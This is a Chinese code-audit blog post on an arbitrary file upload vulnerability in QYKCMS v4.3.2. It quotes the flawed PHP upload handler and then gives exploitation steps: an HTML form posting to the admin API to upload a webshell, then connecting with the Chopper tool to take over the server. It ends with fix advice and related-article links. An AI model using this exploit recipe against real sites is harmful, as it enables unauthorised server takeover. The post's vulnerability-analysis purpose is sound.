0x00 环境准备

QYKCMS官网:http://www.qykcms.com/

网站源码版本:QYKCMS_v4.3.2(企业站主题)

程序源码下载:http://bbs.qingyunke.com/thread-13.htm

测试网站首页:

0x01 代码分析

1、漏洞文件位置:/admin_system/include/lib/upfile.php   第24-69行:

  1. switch($types){
  2. case 'template':
  3. if(!ispower($admin_group,'skin_upload'))ajaxreturn(1,'error4');
  4. $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
  5. $filename=strtolower($_FILES['file']['name']);
  6. if(!in_array($typename,array('html','css','js','jpg','gif','png')))ajaxreturn(1,'error');
  7. $path=arg('path','all','url');
  8. $filepath='../'.setup_webfolder.$website['webid'].'/'.$path.'/'.$filename;
  9. $isup=false;
  10. 10.         $path2=$filepath;
  11. 11.         for($i=1;$i<=10000;$i++){
  12. 12.             if(file_exists($path2)){
  13. 13.                 $path2=preg_replace('/\.'.$typename.'$/','_'.$i.'.'.$typename.'',$filepath);
  14. 14.             }else{
  15. 15.                 $filepath=$path2;
  16. 16.                 $isup=true;
  17. 17.                 break;
  18. 18.                 }
  19. 19.             }
  20. 20.         if($isup){
  21. 21.             move_uploaded_file($_FILES['file']['tmp_name'],$filepath);
  22. 22.             infoadminlog($website['webid'],$tcz['admin'],24,'上传模板文件:'.$path.'/'.$filename);
  23. 23.             $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
  24. 24.         }else{
  25. 25.             ajaxreturn(1,'error3'); //文件重名
  26. 26.             }
  27. 27.     break;
  28. 28.     case 'none':
  29. 29.         //$oldname=strtolower($_FILES['file']['name']);
  30. 30.         $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
  31. 31.         $filename=date('dHis').'_'.randomkeys(6).'.'.$typename;
  32. 32.         $path='../'.$website['upfolder'].setup_uptemp.$filename;
  33. 33.         move_uploaded_file($_FILES['file']['tmp_name'],$path);
  34. 34.         $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
  35. 35.     break;
  36. 36.     case 'theme':
  37. 37.         if(!ispower($admin_group,'super'))ajaxreturn(1,'error4');
  38. 38.         $typename=strtolower(pathinfo($_FILES['file']['name'],PATHINFO_EXTENSION));
  39. 39.         if($typename!='zip')ajaxreturn(1,'error');
  40. 40.         $dir='../'.$website['upfolder'].setup_uptemp;
  41. 41.         $filename='qyk_theme_new.zip';
  42. 42.         $path=$dir.$filename;
  43. 43.         move_uploaded_file($_FILES['file']['tmp_name'],$path);
  44. 44.         infoadminlog($website['webid'],$tcz['admin'],24,'上传主题安装包');
  45. 45.         $res='http://'.$website['setup_weburl'].'/'.$website['upfolder'].setup_uptemp.'|'.$filename;
  46. 46.     break;

这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),获取文件名后缀,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

0x02 漏洞利用

1、构造Form表单:

  1. <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">
  2. Upload a new file:<br>
  3. <input type="file" name="file" size="50"><br>
  4. <input type="submit" value="Upload">
  5. </form>

2、成功上传脚本木马,并回显上传路径

3、去掉文件名称的第一个“|”符,然后访问脚本木马地址

4、通过菜刀连接,成功控制网站服务器

0x03 修复建议

1、通过白名单限制上传文件后缀

2、禁止上传目录脚本执行权限。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】QYKCMS_v4.3.2 任意文件上传漏洞分析的更多相关文章

  1. 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件上传漏洞分析

      0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...

  2. 【代码审计】CLTPHP_v5.5.3 前台任意文件上传漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  3. 【代码审计】UKCMS_v1.1.0 文件上传漏洞分析

      0x00 环境准备 ukcms官网:https://www.ukcms.com/ 程序源码下载:http://down.ukcms.com/down.php?v=1.1.0 测试网站首页: 0x0 ...

  4. UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  5. [转]UEditor编辑器两个版本任意文件上传漏洞分析

    0x01 前言 UEditor是由百度WEB前端研发部开发的所见即所得的开源富文本编辑器,具有轻量.可定制.用户体验优秀等特点 ,被广大WEB应用程序所使用:本次爆出的高危漏洞属于.NET版本,其它的 ...

  6. 【代码审计】XYHCMS V3.5文件上传漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 关于finecms v5 会员头像 任意文件上传漏洞分析

    看到我私藏的一个洞被别人提交到补天拿奖金,所以我干脆在社区这里分享,给大家学习下 本文原创作者:常威,本文属i春秋原创奖励计划,未经许可禁止转载! 1.定位功能 下载源码在本地搭建起来后,正常登陆了用 ...

  8. PHPCMS v9.6.0 任意文件上传漏洞分析

    引用源:http://paper.seebug.org/273/ 配置了php debug的环境,并且根据这篇文章把流程走了一遍,对phpstorm的debug熟练度+1(跟pycharm一样) 用户 ...

  9. [代码审计]XiaoCms(后台任意文件上传至getshell,任意目录删除,会话固定漏洞)

    0x00 前言 这段时间就一直在搞代码审计了.针对自己的审计方法做一下总结,记录一下步骤. 审计没他,基础要牢,思路要清晰,姿势要多且正. 下面是自己审计的步骤,正在逐步调整,寻求效率最高. 0x01 ...

随机推荐

  1. 史上最全 Css Hack汇总

    前言 每次要找个东西都得慢慢去翻自己收集的一些东西,每次都是那么花时间,再加上有时存放时间久远就忘了当时是存在哪了,为了方便查询及阅读,决定把一些Css Hack 收集起来... 1.区别不同浏览器, ...

  2. How to properly release Excel COM objects

    Posted on Tuesday, November 5th, 2013 at 7:18 am by Pieter van der Westhuizen.     You’ll see a lot ...

  3. 关于Unity中RectTransform和Transform

    以前一直以为在Inspector面板上的是Transform,后来才发现原来2D是RectTransform,3D是Transform 3D面板上显示的是位置坐标组件Transform,2D面板上显示 ...

  4. 第三百三十节,web爬虫讲解2—urllib库爬虫—实战爬取搜狗微信公众号—抓包软件安装Fiddler4讲解

    第三百三十节,web爬虫讲解2—urllib库爬虫—实战爬取搜狗微信公众号—抓包软件安装Fiddler4讲解 封装模块 #!/usr/bin/env python # -*- coding: utf- ...

  5. perl 中的引用

    perl 语言中的引用共分为两类: 声明引用时只需要在对象的前面加上反斜杠 第一列是数组的引用: 代码示例: , , ); my $array_ref = \@array; 第二种是哈希的引用 代码示 ...

  6. Process和Thread在指定CPU运行

    最近帮朋友写了一个多线程程序,他那边一运行多线程就出错,我这边却没有任何问题,找了好久才找到解决方法,原来是CPU的问题,有朋友遇到同样的问题,可以一起参考 //进程与指定cpu绑定 SetProce ...

  7. Hotspot JVM的常用选项

    Hotspot JVM的常用选项 选项的分类 Hotspot JVM提供以下三大类选项: 1. 标准选项:这类选项的功能是很稳定的,在后续版本中也不太会发生变化.运行java或者java -help可 ...

  8. 3.7 su命令 3.8 sudo命令 3.9 限制root远程登录

    3.7 su命令 3.8 sudo命令 3.9 限制root远程登录 su命令 切换用户 [root@centos_1 ~]# su - xiaobo [root@centos_1 ~]# su - ...

  9. hibernate.cfg配置mysql方言

    hibernate自动建表,mysql高版本不支持 type=InnoDB 中的type关键字. 应该使用engine关键字 而非type 所以需要在hibernate.cfg.xml中配置方言.否则 ...

  10. Linux 找不到php.ini

    在部署环境中利用phpinfo()查看,显示php.ini 路径为/usr/local/php5/lib 但是到对应路径中,找不到php.ini文件,在网上找到相关方法,留下备注. Configura ...